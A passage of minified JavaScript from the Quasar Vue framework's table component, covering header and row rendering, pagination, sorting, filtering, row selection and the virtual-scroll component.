            getTableHeaderRow: function(t) {
                var e = this
                  , i = this.$scopedSlots.header
                  , s = this.$scopedSlots["header-cell"];
                if (void 0 !== i)
                    return i(this.addTableHeaderRowMeta({
                        header: !0,
                        cols: this.computedCols,
                        sort: this.sort,
                        colsMap: this.computedColsMap
                    })).slice();
                var n = this.computedCols.map(function(i) {
                    var n = e.$scopedSlots["header-cell-" + i.name]
                      , o = void 0 !== n ? n : s
                      , r = {
                        col: i,
                        cols: e.computedCols,
                        sort: e.sort,
                        colsMap: e.computedColsMap
                    };
                    return void 0 !== o ? o(r) : t(ia, {
                        key: i.name,
                        props: {
                            props: r
                        },
                        style: i.headerStyle,
                        class: i.headerClasses
                    }, i.label)
                });
                return !0 === this.singleSelection && !0 !== this.grid ? n.unshift(t("th", {
                    staticClass: "q-table--col-auto-width"
                }, [" "])) : !0 === this.multipleSelection && n.unshift(t("th", {
                    staticClass: "q-table--col-auto-width"
                }, [t(Bi, {
                    props: {
                        color: this.color,
                        value: !0 === this.someRowsSelected ? null : this.allRowsSelected,
                        dark: this.isDark,
                        dense: this.dense
                    },
                    on: mt(this, "inp", {
                        input: function(t) {
                            !0 === e.someRowsSelected && (t = !1),
                            e.__updateSelection(e.computedRows.map(e.getRowKey), e.computedRows, t)
                        }
                    })
                })])),
                [t("tr", {
                    style: this.tableHeaderStyle,
                    class: this.tableHeaderClass
                }, n)]
            },
            addTableHeaderRowMeta: function(t) {
                var e = this;
                return !0 === this.multipleSelection && (Object.defineProperty(t, "selected", {
                    get: function() {
                        return !0 === e.someRowsSelected ? "some" : e.allRowsSelected
                    },
                    set: function(t) {
                        !0 === e.someRowsSelected && (t = !1),
                        e.__updateSelection(e.computedRows.map(e.getRowKey), e.computedRows, t)
                    },
                    configurable: !0,
                    enumerable: !0
                }),
                t.partialSelected = this.someRowsSelected,
                t.multipleSelect = !0),
                t
            }
        }
    }
      , na = {
        methods: {
            getTableRowBody: function(t, e, i) {
                var s = this.getRowKey(t)
                  , n = this.isRowSelected(s);
                return e(this.addBodyRowMeta({
                    key: s,
                    row: t,
                    pageIndex: i,
                    cols: this.computedCols,
                    colsMap: this.computedColsMap,
                    __trClass: n ? "selected" : ""
                }))
            },
            getTableRow: function(t, e, i) {
                var s = this
                  , n = this.$scopedSlots["body-cell"]
                  , o = this.getRowKey(e)
                  , r = this.isRowSelected(o)
                  , a = this.computedCols.map(function(o) {
                    var r = s.$scopedSlots["body-cell-" + o.name]
                      , a = void 0 !== r ? r : n;
                    return void 0 !== a ? a(s.addBodyCellMetaData({
                        row: e,
                        pageIndex: i,
                        col: o
                    })) : t("td", {
                        class: o.__tdClass,
                        style: o.style
                    }, s.getCellValue(o, e))
                });
                !0 === this.hasSelectionMode && a.unshift(t("td", {
                    staticClass: "q-table--col-auto-width"
                }, [t(Bi, {
                    props: {
                        value: r,
                        color: this.color,
                        dark: this.isDark,
                        dense: this.dense
                    },
                    on: {
                        input: function(t, i) {
                            s.__updateSelection([o], [e], t, i)
                        }
                    }
                })]));
                var l = {
                    key: o,
                    class: {
                        selected: r
                    },
                    on: {}
                };
                return void 0 !== this.qListeners["row-click"] && (l.class["cursor-pointer"] = !0,
                l.on.click = function(t) {
                    s.$emit("row-click", t, e)
                }
                ),
                void 0 !== this.qListeners["row-dblclick"] && (l.class["cursor-pointer"] = !0,
                l.on.dblclick = function(t) {
                    s.$emit("row-dblclick", t, e)
                }
                ),
                t("tr", l, a)
            },
            getTableBody: function(t) {
                var e = this
                  , i = this.$scopedSlots.body
                  , s = this.$scopedSlots["top-row"]
                  , n = this.$scopedSlots["bottom-row"]
                  , o = void 0 !== i ? function(t, s) {
                    return e.getTableRowBody(t, i, s)
                }
                : function(i, s) {
                    return e.getTableRow(t, i, s)
                }
                  , r = this.computedRows.map(o);
                return void 0 !== s && (r = s({
                    cols: this.computedCols
                }).concat(r)),
                void 0 !== n && (r = r.concat(n({
                    cols: this.computedCols
                }))),
                t("tbody", r)
            },
            getTableRowVirtual: function(t) {
                var e = this
                  , i = this.$scopedSlots.body;
                return void 0 !== i ? function(t, s) {
                    return e.getTableRowBody(t.item, i, s)
                }
                : function(i, s) {
                    return e.getTableRow(t, i.item, s)
                }
            },
            addBodyRowMeta: function(t) {
                var e = this;
                return t.rowIndex = this.firstRowIndex + t.pageIndex,
                !0 === this.hasSelectionMode && Object.defineProperty(t, "selected", {
                    get: function() {
                        return e.isRowSelected(t.key)
                    },
                    set: function(i) {
                        e.__updateSelection([t.key], [t.row], i)
                    },
                    configurable: !0,
                    enumerable: !0
                }),
                Object.defineProperty(t, "expand", {
                    get: function() {
                        return e.isRowExpanded(t.key)
                    },
                    set: function(i) {
                        e.__updateExpanded(t.key, i)
                    },
                    configurable: !0,
                    enumerable: !0
                }),
                t.cols = t.cols.map(function(i) {
                    var s = Object.assign({}, i);
                    return Object.defineProperty(s, "value", {
                        get: function() {
                            return e.getCellValue(i, t.row)
                        },
                        configurable: !0,
                        enumerable: !0
                    }),
                    s
                }),
                t
            },
            addBodyCellMetaData: function(t) {
                var e = this;
                return t.rowIndex = this.firstRowIndex + t.pageIndex,
                Object.defineProperty(t, "value", {
                    get: function() {
                        return e.getCellValue(t.col, t.row)
                    },
                    configurable: !0,
                    enumerable: !0
                }),
                t
            },
            getCellValue: function(t, e) {
                var i = "function" == typeof t.field ? t.field(e) : e[t.field];
                return void 0 !== t.format ? t.format(i, e) : i
            }
        }
    }
      , oa = "q-table__bottom row items-center"
      , ra = {
        props: {
            hideBottom: Boolean,
            hideSelectedBanner: Boolean,
            hideNoData: Boolean,
            hidePagination: Boolean
        },
        computed: {
            navIcon: function() {
                var t = [this.iconFirstPage || this.$q.iconSet.table.firstPage, this.iconPrevPage || this.$q.iconSet.table.prevPage, this.iconNextPage || this.$q.iconSet.table.nextPage, this.iconLastPage || this.$q.iconSet.table.lastPage];
                return !0 === this.$q.lang.rtl ? t.reverse() : t
            }
        },
        methods: {
            getBottom: function(t) {
                if (!0 !== this.hideBottom) {
                    if (!0 === this.nothingToDisplay) {
                        if (!0 === this.hideNoData)
                            return;
                        var e = !0 === this.loading ? this.loadingLabel || this.$q.lang.table.loading : this.filter ? this.noResultsLabel || this.$q.lang.table.noResults : this.noDataLabel || this.$q.lang.table.noData
                          , i = this.$scopedSlots["no-data"]
                          , s = void 0 !== i ? [i({
                            message: e,
                            icon: this.$q.iconSet.table.warning,
                            filter: this.filter
                        })] : [t(Et, {
                            staticClass: "q-table__bottom-nodata-icon",
                            props: {
                                name: this.$q.iconSet.table.warning
                            }
                        }), e];
                        return t("div", {
                            staticClass: oa + " q-table__bottom--nodata"
                        }, s)
                    }
                    var n = this.$scopedSlots.bottom;
                    if (void 0 !== n)
                        return t("div", {
                            staticClass: oa
                        }, [n(this.marginalsProps)]);
                    var o = !0 !== this.hideSelectedBanner && !0 === this.hasSelectionMode && this.rowsSelectedNumber > 0 ? [t("div", {
                        staticClass: "q-table__control"
                    }, [t("div", [(this.selectedRowsLabel || this.$q.lang.table.selectedRecords)(this.rowsSelectedNumber)])])] : [];
                    return !0 !== this.hidePagination ? t("div", {
                        staticClass: oa + " justify-end"
                    }, this.getPaginationRow(t, o)) : o.length > 0 ? t("div", {
                        staticClass: oa
                    }, o) : void 0
                }
            },
            getPaginationRow: function(t, e) {
                var i, s = this, n = this.computedPagination.rowsPerPage, o = this.paginationLabel || this.$q.lang.table.pagination, r = this.$scopedSlots.pagination, a = this.rowsPerPageOptions.length > 1;
                if (e.push(t("div", {
                    staticClass: "q-table__separator col"
                })),
                !0 === a && e.push(t("div", {
                    staticClass: "q-table__control"
                }, [t("span", {
                    staticClass: "q-table__bottom-item"
                }, [this.rowsPerPageLabel || this.$q.lang.table.recordsPerPage]), t(Cr, {
                    staticClass: "q-table__select inline q-table__bottom-item",
                    props: {
                        color: this.color,
                        value: n,
                        options: this.computedRowsPerPageOptions,
                        displayValue: 0 === n ? this.$q.lang.table.allRows : n,
                        dark: this.isDark,
                        borderless: !0,
                        dense: !0,
                        optionsDense: !0,
                        optionsCover: !0
                    },
                    on: mt(this, "pgSize", {
                        input: function(t) {
                            s.setPagination({
                                page: 1,
                                rowsPerPage: t.value
                            })
                        }
                    })
                })])),
                void 0 !== r)
                    i = r(this.marginalsProps);
                else if (i = [t("span", 0 !== n ? {
                    staticClass: "q-table__bottom-item"
                } : {}, [n ? o(this.firstRowIndex + 1, Math.min(this.lastRowIndex, this.computedRowsNumber), this.computedRowsNumber) : o(1, this.filteredSortedRowsNumber, this.computedRowsNumber)])],
                0 !== n && this.pagesNumber > 1) {
                    var l = {
                        color: this.color,
                        round: !0,
                        dense: !0,
                        flat: !0
                    };
                    !0 === this.dense && (l.size = "sm"),
                    this.pagesNumber > 2 && i.push(t(be, {
                        key: "pgFirst",
                        props: Object.assign({}, l, {
                            icon: this.navIcon[0],
                            disable: this.isFirstPage
                        }),
                        on: mt(this, "pgFirst", {
                            click: this.firstPage
                        })
                    })),
                    i.push(t(be, {
                        key: "pgPrev",
                        props: Object.assign({}, l, {
                            icon: this.navIcon[1],
                            disable: this.isFirstPage
                        }),
                        on: mt(this, "pgPrev", {
                            click: this.prevPage
                        })
                    }), t(be, {
                        key: "pgNext",
                        props: Object.assign({}, l, {
                            icon: this.navIcon[2],
                            disable: this.isLastPage
                        }),
                        on: mt(this, "pgNext", {
                            click: this.nextPage
                        })
                    })),
                    this.pagesNumber > 2 && i.push(t(be, {
                        key: "pgLast",
                        props: Object.assign({}, l, {
                            icon: this.navIcon[3],
                            disable: this.isLastPage
                        }),
                        on: mt(this, "pgLast", {
                            click: this.lastPage
                        })
                    }))
                }
                return e.push(t("div", {
                    staticClass: "q-table__control"
                }, i)),
                e
            }
        }
    }
      , aa = {
        methods: {
            getGridBody: function(t) {
                var e = this
                  , i = void 0 !== this.$scopedSlots.item ? this.$scopedSlots.item : function(i) {
                    var s = i.cols.map(function(e) {
                        return t("div", {
                            staticClass: "q-table__grid-item-row"
                        }, [t("div", {
                            staticClass: "q-table__grid-item-title"
                        }, [e.label]), t("div", {
                            staticClass: "q-table__grid-item-value"
                        }, [e.value])])
                    });
                    !0 === e.hasSelectionMode && s.unshift(t("div", {
                        staticClass: "q-table__grid-item-row"
                    }, [t(Bi, {
                        props: {
                            value: i.selected,
                            color: e.color,
                            dark: e.isDark,
                            dense: !0
                        },
                        on: {
                            input: function(t, s) {
                                e.__updateSelection([i.key], [i.row], t, s)
                            }
                        }
                    })]), t(uo, {
                        props: {
                            dark: e.isDark
                        }
                    }));
                    var n = {
                        staticClass: "q-table__grid-item-card" + e.cardDefaultClass,
                        class: e.cardClass,
                        style: e.cardStyle,
                        on: {}
                    };
                    return void 0 === e.qListeners["row-click"] && void 0 === e.qListeners["row-dblclick"] || (n.staticClass += " cursor-pointer"),
                    void 0 !== e.qListeners["row-click"] && (n.on.click = function(t) {
                        e.$emit("row-click", t, i.row)
                    }
                    ),
                    void 0 !== e.qListeners["row-dblclick"] && (n.on.dblclick = function(t) {
                        e.$emit("row-dblclick", t, i.row)
                    }
                    ),
                    t("div", {
                        staticClass: "q-table__grid-item col-xs-12 col-sm-6 col-md-4 col-lg-3",
                        class: !0 === i.selected ? "q-table__grid-item--selected" : ""
                    }, [t("div", n, s)])
                }
                ;
                return t("div", {
                    staticClass: "q-table__grid-content row",
                    class: this.cardContainerClass,
                    style: this.cardContainerStyle
                }, this.computedRows.map(function(t, s) {
                    var n = e.getRowKey(t)
                      , o = e.isRowSelected(n);
                    return i(e.addBodyRowMeta({
                        key: n,
                        row: t,
                        pageIndex: s,
                        cols: e.computedCols,
                        colsMap: e.computedColsMap,
                        __trClass: o ? "selected" : ""
                    }))
                }))
            },
            getGridHeader: function(t) {
                return t("div", {
                    staticClass: "q-table__middle"
                }, !0 === this.gridHeader ? [t("table", {
                    staticClass: "q-table"
                }, [this.getTableHeader(t)])] : !0 === this.loading && void 0 === this.$scopedSlots.loading ? this.__getProgress(t) : void 0)
            }
        }
    };
    function la(t, e, i) {
        return t("div", Object.assign({}, e, {
            staticClass: "q-table__middle" + (void 0 !== e.staticClass ? " " + e.staticClass : "")
        }), [t("table", {
            staticClass: "q-table"
        }, i)])
    }
    var ca = {
        list: Vn,
        table: Fo
    }
      , ua = t.extend({
        name: "QVirtualScroll",
        mixins: [_t, Mt, Sr],
        props: {
            type: {
                type: String,
                default: "list",
                validator: function(t) {
                    return ["list", "table", "__qtable"].includes(t)
                }
            },
            items: {
                type: Array,
                default: function() {
                    return []
                }
            },
            itemsFn: Function,
            itemsSize: Number,
            scrollTarget: {
                default: void 0
            }
        },
        computed: {
            virtualScrollLength: function() {
                return this.itemsSize >= 0 && void 0 !== this.itemsFn ? parseInt(this.itemsSize, 10) : Array.isArray(this.items) ? this.items.length : 0
            },
            virtualScrollScope: function() {
                var t = this;
                if (0 === this.virtualScrollLength)
                    return [];
                var e = function(e, i) {
                    return {
                        index: t.virtualScrollSliceRange.from + i,
                        item: e
                    }
                };
                return void 0 === this.itemsFn ? this.items.slice(this.virtualScrollSliceRange.from, this.virtualScrollSliceRange.to).map(e) : this.itemsFn(this.virtualScrollSliceRange.from, this.virtualScrollSliceRange.to - this.virtualScrollSliceRange.from).map(e)
            },
            classes: function() {
                return "q-virtual-scroll q-virtual-scroll" + (!0 === this.virtualScrollHorizontal ? "--horizontal" : "--vertical") + (void 0 !== this.scrollTarget ? "" : " scroll")
            },
            attrs: function() {
                return void 0 !== this.scrollTarget ? void 0 : {
                    tabindex: 0
                }
            }
        },
        watch: {
            virtualScrollLength: function() {
                this.__resetVirtualScroll()
            },
            scrollTarget: function() {
                this.__unconfigureScrollTarget(),
                this.__configureScrollTarget()
            }
        },
        methods: {
            __getVirtualScrollEl: function() {
                return this.$el
            },
            __getVirtualScrollTarget: function() {
                return this.__scrollTarget
            },
            __configureScrollTarget: function() {
                this.__scrollTarget = De(this.$el, this.scrollTarget),
                this.__scrollTarget.addEventListener("scroll", this.__onVirtualScrollEvt, d.passive)
            },
            __unconfigureScrollTarget: function() {
                void 0 !== this.__scrollTarget && (this.__scrollTarget.removeEventListener("scroll", this.__onVirtualScrollEvt, d.passive),
                this.__scrollTarget = void 0)
            }
        },
        beforeMount: function() {
            this.__resetVirtualScroll()
        },
        mounted: function() {
            this.__configureScrollTarget()
        },
        beforeDestroy: function() {
            this.__unconfigureScrollTarget()
        },
        render: function(t) {
            if (void 0 !== this.$scopedSlots.default) {
                var e = this.__padVirtualScroll(t, "list" === this.type ? "div" : "tbody", this.virtualScrollScope.map(this.$scopedSlots.default));
                return void 0 !== this.$scopedSlots.before && (e = this.$scopedSlots.before().concat(e)),
                e = Pt(e, this, "after"),
                "__qtable" === this.type ? la(t, {
                    staticClass: this.classes
                }, e) : t(ca[this.type], {
                    class: this.classes,
                    attrs: this.attrs,
                    props: this.qAttrs,
                    on: Object.assign({}, this.qListeners)
                }, e)
            }
            console.error("QVirtualScroll: default scoped slot is required for rendering", this)
        }
    });
    var ha = {
        props: {
            sortMethod: {
                type: Function,
                default: function(t, e, i) {
                    var s = this.colList.find(function(t) {
                        return t.name === e
                    });
                    if (void 0 === s || void 0 === s.field)
                        return t;
                    var n = !0 === i ? -1 : 1
                      , o = "function" == typeof s.field ? function(t) {
                        return s.field(t)
                    }
                    : function(t) {
                        return t[s.field]
                    }
                    ;
                    return t.sort(function(t, e) {
                        var i, r = o(t), a = o(e);
                        return null === r || void 0 === r ? -1 * n : null === a || void 0 === a ? 1 * n : void 0 !== s.sort ? s.sort(r, a, t, e) * n : !0 === xi(r) && !0 === xi(a) ? (r - a) * n : !0 === Si(r) && !0 === Si(a) ? function(t, e) {
                            return new Date(t) - new Date(e)
                        }(r, a) * n : "boolean" == typeof r && "boolean" == typeof a ? (r - a) * n : (r = (i = [r, a].map(function(t) {
                            return (t + "").toLocaleString().toLowerCase()
                        }))[0]) < (a = i[1]) ? -1 * n : r === a ? 0 : n
                    })
                }
            }
        },
        computed: {
            columnToSort: function() {
                var t = this.computedPagination.sortBy;
                if (t)
                    return this.colList.find(function(e) {
                        return e.name === t
                    }) || null
            }
        },
        methods: {
            sort: function(t) {
                t === Object(t) && (t = t.name);
                var e = this.computedPagination
                  , i = e.sortBy
                  , s = e.descending;
                i !== t ? (i = t,
                s = !1) : !0 === this.binaryStateSort ? s = !s : !0 === s ? i = null : s = !0,
                this.setPagination({
                    sortBy: i,
                    descending: s,
                    page: 1
                })
            }
        }
    }
      , da = {
        props: {
            filter: [String, Object],
            filterMethod: {
                type: Function,
                default: function(t, e, i, s) {
                    void 0 === i && (i = this.computedCols),
                    void 0 === s && (s = this.getCellValue);
                    var n = e ? e.toLowerCase() : "";
                    return t.filter(function(t) {
                        return i.some(function(e) {
                            return -1 !== (s(e, t) + "").toLowerCase().indexOf(n)
                        })
                    })
                }
            }
        },
        watch: {
            filter: {
                handler: function() {
                    var t = this;
                    this.$nextTick(function() {
                        t.setPagination({
                            page: 1
                        }, !0)
                    })
                },
                deep: !0
            }
        }
    };
    function pa(t) {
        return t.page < 1 && (t.page = 1),
        void 0 !== t.rowsPerPage && t.rowsPerPage < 1 && (t.rowsPerPage = 0),
        t
    }
    var fa = {
        props: {
            pagination: Object,
            rowsPerPageOptions: {
                type: Array,
                default: function() {
                    return [5, 7, 10, 15, 20, 25, 50, 0]
                }
            }
        },
        computed: {
            computedPagination: function() {
                return pa(void 0 !== this.qListeners["update:pagination"] ? Object.assign({}, this.innerPagination, this.pagination) : this.innerPagination)
            },
            firstRowIndex: function() {
                var t = this.computedPagination;
                return (t.page - 1) * t.rowsPerPage
            },
            lastRowIndex: function() {
                var t = this.computedPagination;
                return t.page * t.rowsPerPage
            },
            isFirstPage: function() {
                return 1 === this.computedPagination.page
            },
            pagesNumber: function() {
                return 0 === this.computedPagination.rowsPerPage ? 1 : Math.max(1, Math.ceil(this.computedRowsNumber / this.computedPagination.rowsPerPage))
            },
            isLastPage: function() {
                return 0 === this.lastRowIndex || this.computedPagination.page >= this.pagesNumber
            },
            computedRowsPerPageOptions: function() {
                var t = this;
                return (this.rowsPerPageOptions.includes(this.innerPagination.rowsPerPage) ? this.rowsPerPageOptions : [this.innerPagination.rowsPerPage].concat(this.rowsPerPageOptions)).map(function(e) {
                    return {
                        label: 0 === e ? t.$q.lang.table.allRows : "" + e,
                        value: e
                    }
                })
            }
        },
        watch: {
            pagesNumber: function(t, e) {
                if (t !== e) {
                    var i = this.computedPagination.page;
                    t && !i ? this.setPagination({
                        page: 1
                    }) : t < i && this.setPagination({
                        page: t
                    })
                }
            }
        },
        methods: {
            __sendServerRequest: function(t) {
                this.requestServerInteraction({
                    pagination: t,
                    filter: this.filter
                })
            },
            setPagination: function(t, e) {
                var i = pa(Object.assign({}, this.computedPagination, t));
                !function(t, e) {
                    for (var i in e)
                        if (e[i] !== t[i])
                            return !1;
                    return !0
                }(this.computedPagination, i) ? !0 !== this.isServerSide ? void 0 !== this.pagination && void 0 !== this.qListeners["update:pagination"] ? this.$emit("update:pagination", i) : this.innerPagination = i : this.__sendServerRequest(i) : !0 === this.isServerSide && !0 === e && this.__sendServerRequest(i)
            },
            firstPage: function() {
                this.setPagination({
                    page: 1
                })
            },
            prevPage: function() {
                var t = this.computedPagination.page;
                t > 1 && this.setPagination({
                    page: t - 1
                })
            },
            nextPage: function() {
                var t = this.computedPagination
                  , e = t.page
                  , i = t.rowsPerPage;
                this.lastRowIndex > 0 && e * i < this.computedRowsNumber && this.setPagination({
                    page: e + 1
                })
            },
            lastPage: function() {
                this.setPagination({
                    page: this.pagesNumber
                })
            }
        },
        created: function() {
            void 0 !== this.qListeners["update:pagination"] && this.$emit("update:pagination", Object.assign({}, this.computedPagination))
        }
    }
      , ma = {
        props: {
            selection: {
                type: String,
                default: "none",
                validator: function(t) {
                    return ["single", "multiple", "none"].includes(t)
                }
            },
            selected: {
                type: Array,
                default: function() {
                    return []
                }
            }
        },
        computed: {
            selectedKeys: function() {
                var t = {};
                return this.selected.map(this.getRowKey).forEach(function(e) {
                    t[e] = !0
                }),
                t
            },
            hasSelectionMode: function() {
                return "none" !== this.selection
            },
            singleSelection: function() {
                return "single" === this.selection
            },
            multipleSelection: function() {
                return "multiple" === this.selection
            },
            allRowsSelected: function() {
                var t = this;
                return this.computedRows.length > 0 && this.computedRows.every(function(e) {
                    return !0 === t.selectedKeys[t.getRowKey(e)]
                })
            },
            someRowsSelected: function() {
                var t = this;
                return !0 !== this.allRowsSelected && this.computedRows.some(function(e) {
                    return !0 === t.selectedKeys[t.getRowKey(e)]
                })
            },
            rowsSelectedNumber: function() {
                return this.selected.length
            }
        },
        methods: {
            isRowSelected: function(t) {
                return !0 === this.selectedKeys[t]
            },
            clearSelection: function() {
                this.$emit("update:selected", [])
            },
            __updateSelection: function(t, e, i, s) {
                var n = this;
                this.$emit("selection", {
                    rows: e,
                    added: i,
                    keys: t,
                    evt: s
                });
                var o = !0 === this.singleSelection ? !0 === i ? e : [] : !0 === i ? this.selected.concat(e) : this.selected.filter(function(e) {
                    return !1 === t.includes(n.getRowKey(e))
                });
                this.$emit("update:selected", o)
            }
        }
    };
    function va(t) {
        return Array.isArray(t) ? t.slice() : []
    }
    var ga = {
        props: {
            expanded: Array
        },
        data: function() {
            return {
                innerExpanded: va(this.expanded)
            }
        },
        watch: {
            expanded: function(t) {
                this.innerExpanded = va(t)
            }
        },
        methods: {
            isRowExpanded: function(t) {
                return this.innerExpanded.includes(t)
            },
            setExpanded: function(t) {
                void 0 !== this.expanded ? this.$emit("update:expanded", t) : this.innerExpanded = t
            },
            __updateExpanded: function(t, e) {
                var i = this.innerExpanded.slice()
                  , s = i.indexOf(t);
                !0 === e ? -1 === s && (i.push(t),
                this.setExpanded(i)) : -1 !== s && (i.splice(s, 1),
                this.setExpanded(i))
            }
        }
    }
      , _a = {
        props: {
            visibleColumns: Array
        },
        computed: {
            colList: function() {
                if (void 0 !== this.columns)
                    return this.columns;
                var t = this.data[0];
                return void 0 !== t ? Object.keys(t).map(function(e) {
                    return {
                        name: e,
                        label: e.toUpperCase(),
                        field: e,
                        align: xi(t[e]) ? "right" : "left",
                        sortable: !0
                    }
                }) : []
            },
            computedCols: function() {
                var t = this
                  , e = this.computedPagination
                  , i = e.sortBy
                  , s = e.descending;
                return (void 0 !== this.visibleColumns ? this.colList.filter(function(e) {
                    return !0 === e.required || !0 === t.visibleColumns.includes(e.name)
                }) : this.colList).map(function(t) {
                    var e = t.align || "right";
                    return Object.assign({}, t, {
                        align: e,
                        __iconClass: "q-table__sort-icon q-table__sort-icon--" + e,
                        __thClass: "text-" + e + (void 0 !== t.headerClasses ? " " + t.headerClasses : "") + (!0 === t.sortable ? " sortable" : "") + (t.name === i ? " sorted " + (!0 === s ? "sort-desc" : "") : ""),
                        __tdClass: "text-" + e + (void 0 !== t.classes ? " " + t.classes : "")
                    })
                })
            },
            computedColsMap: function() {
                var t = {};
                return this.computedCols.forEach(function(e) {
                    t[e.name] = e
                }),
                t
            }
        }
    }
      , ba = {};
    wr.forEach(function(t) {
        ba[t] = {}
    });
    var ya = t.extend({
        name: "QTable",
        mixins: [Dt, Mt, gi, {
            computed: {
                marginalsProps: function() {
                    return {
                        pagination: this.computedPagination,
                        pagesNumber: this.pagesNumber,
                        isFirstPage: this.isFirstPage,
                        isLastPage: this.isLastPage,
                        firstPage: this.firstPage,
                        prevPage: this.prevPage,
                        nextPage: this.nextPage,
                        lastPage: this.lastPage,
                        inFullscreen: this.inFullscreen,
                        toggleFullscreen: this.toggleFullscreen
                    }
                }
            },
            methods: {
                getTop: function(t) {
                    var e, i = this.$scopedSlots.top, s = this.$scopedSlots["top-left"], n = this.$scopedSlots["top-right"], o = this.$scopedSlots["top-selection"], r = !0 === this.hasSelectionMode && void 0 !== o && this.rowsSelectedNumber > 0, a = "q-table__top relative-position row items-center";
                    return void 0 !== i ? t("div", {
                        staticClass: a
                    }, [i(this.marginalsProps)]) : (!0 === r ? e = o(this.marginalsProps).slice() : (e = [],
                    void 0 !== s ? e.push(t("div", {
                        staticClass: "q-table-control"
                    }, [s(this.marginalsProps)])) : this.title && e.push(t("div", {
                        staticClass: "q-table__control"
                    }, [t("div", {
                        staticClass: "q-table__title"
                    }, this.title)]))),
                    void 0 !== n && (e.push(t("div", {
                        staticClass: "q-table__separator col"
                    })),
                    e.push(t("div", {
                        staticClass: "q-table__control"
                    }, [n(this.marginalsProps)]))),
                    0 !== e.length ? t("div", {
                        staticClass: a
                    }, e) : void 0)
                }
            }
        }, sa, na, ra, aa, ha, da, fa, ma, ga, _a],
        props: Object.assign({}, {
            data: {
                type: Array,
                default: function() {
                    return []
                }
            },
            rowKey: {
                type: [String, Function],
                default: "id"
            },
            columns: Array,
            loading: Boolean,
            binaryStateSort: Boolean,
            iconFirstPage: String,
            iconPrevPage: String,
            iconNextPage: String,
            iconLastPage: String,
            title: String,
            hideHeader: Boolean,
            grid: Boolean,
            gridHeader: Boolean,
            dense: Boolean,
            flat: Boolean,
            bordered: Boolean,
            square: Boolean,
            separator: {
                type: String,
                default: "horizontal",
                validator: function(t) {
                    return ["horizontal", "vertical", "cell", "none"].includes(t)
                }
            },
            wrapCells: Boolean,
            virtualScroll: Boolean
        }, ba, {
            noDataLabel: String,
            noResultsLabel: String,
            loadingLabel: String,
            selectedRowsLabel: Function,
            rowsPerPageLabel: String,
            paginationLabel: Function,
            color: {
                type: String,
                default: "grey-8"
            },
            tableStyle: [String, Array, Object],
            tableClass: [String, Array, Object],
            tableHeaderStyle: [String, Array, Object],
            tableHeaderClass: [String, Array, Object],
            cardContainerClass: [String, Array, Object],
            cardContainerStyle: [String, Array, Object],
            cardStyle: [String, Array, Object],
            cardClass: [String, Array, Object]
        }),
        data: function() {
            return {
                innerPagination: Object.assign({
                    sortBy: null,
                    descending: !1,
                    page: 1,
                    rowsPerPage: this.rowsPerPageOptions.length > 0 ? this.rowsPerPageOptions[0] : 5
                }, this.pagination)
            }
        },
        watch: {
            needsReset: function() {
                !0 === this.hasVirtScroll && void 0 !== this.$refs.virtScroll && this.$refs.virtScroll.reset()
            }
        },
        computed: {
            getRowKey: function() {
                var t = this;
                return "function" == typeof this.rowKey ? this.rowKey : function(e) {
                    return e[t.rowKey]
                }
            },
            hasVirtScroll: function() {
                return !0 !== this.grid && !0 === this.virtualScroll
            },
            needsReset: function() {
                var t = this;
                return ["tableStyle", "tableClass", "tableHeaderStyle", "tableHeaderClass", "containerClass"].map(function(e) {
                    return t[e]
                }).join(";")
            },
            filteredSortedRows: function() {
                var t = this.data;
                if (!0 === this.isServerSide || 0 === t.length)
                    return t;
                var e = this.computedPagination
                  , i = e.sortBy
                  , s = e.descending;
                return this.filter && (t = this.filterMethod(t, this.filter, this.computedCols, this.getCellValue)),
                void 0 !== this.columnToSort && (t = this.sortMethod(this.data === t ? t.slice() : t, i, s)),
                t
            },
            filteredSortedRowsNumber: function() {
                return this.filteredSortedRows.length
            },
            computedRows: function() {
                var t = this.filteredSortedRows;
                return !0 === this.isServerSide ? t : (0 !== this.computedPagination.rowsPerPage && (0 === this.firstRowIndex && this.data !== t ? t.length > this.lastRowIndex && (t.length = this.lastRowIndex) : t = t.slice(this.firstRowIndex, this.lastRowIndex)),
                t)
            },
            computedRowsNumber: function() {
                return !0 === this.isServerSide ? this.computedPagination.rowsNumber || 0 : this.filteredSortedRowsNumber
            },
            nothingToDisplay: function() {
                return 0 === this.computedRows.length
            },
            isServerSide: function() {
                return void 0 !== this.computedPagination.rowsNumber
            },
            cardDefaultClass: function() {
                return " q-table__card" + (!0 === this.isDark ? " q-table__card--dark q-dark" : "") + (!0 === this.square ? " q-table--square" : "") + (!0 === this.flat ? " q-table--flat" : "") + (!0 === this.bordered ? " q-table--bordered" : "")
            },
            containerClass: function() {
                return "q-table__container q-table--" + this.separator + "-separator column no-wrap" + (!0 === this.loading ? " q-table--loading" : "") + (!0 === this.grid ? " q-table--grid" : this.cardDefaultClass) + (!0 === this.isDark ? " q-table--dark" : "") + (!0 === this.dense ? " q-table--dense" : "") + (!1 === this.wrapCells ? " q-table--no-wrap" : "") + (!0 === this.inFullscreen ? " fullscreen scroll" : "")
            },
            virtProps: function() {
                var t = this
                  , e = {};
                return wr.forEach(function(i) {
                    e[i] = t[i]
                }),
                void 0 === e.virtualScrollItemSize && (e.virtualScrollItemSize = !0 === this.dense ? 28 : 48),
                e
            }
        },
        render: function(t) {
            var e = [this.getTop(t)]
              , i = {
                staticClass: this.containerClass
            };
            return !0 === this.grid ? e.push(this.getGridHeader(t)) : Object.assign(i, {
                class: this.cardClass,
                style: this.cardStyle
            }),
            e.push(this.getBody(t), this.getBottom(t)),
            !0 === this.loading && void 0 !== this.$scopedSlots.loading && e.push(this.$scopedSlots.loading()),
            t("div", i, e)
        },
        methods: {
            requestServerInteraction: function(t) {
                var e = this;
                void 0 === t && (t = {}),
                this.$nextTick(function() {
                    e.$emit("request", {
                        pagination: t.pagination || e.computedPagination,
                        filter: t.filter || e.filter,
                        getCellValue: e.getCellValue
                    })
                })
            },
            resetVirtualScroll: function() {
                !0 === this.hasVirtScroll && this.$refs.virtScroll.reset()
            },
            getBody: function(t) {
                if (!0 === this.grid)
                    return this.getGridBody(t);
                var e = !0 !== this.hideHeader ? this.getTableHeader(t) : null;
                return !0 === this.hasVirtScroll ? t(ua, {
                    ref: "virtScroll",
                    props: Object.assign({}, this.virtProps, {
                        items: this.computedRows,
                        type: "__qtable"
                    }),
                    on: mt(this, "vs", {
                        "virtual-scroll": this.__onVScroll
                    }),
                    class: this.tableClass,
                    style: this.tableStyle,
                    scopedSlots: {
                        before: null === e ? void 0 : function() {
                            return e
                        }
                        ,
                        default: this.getTableRowVirtual(t)
                    }
                }) : la(t, {
                    staticClass: "scroll",
                    class: this.tableClass,
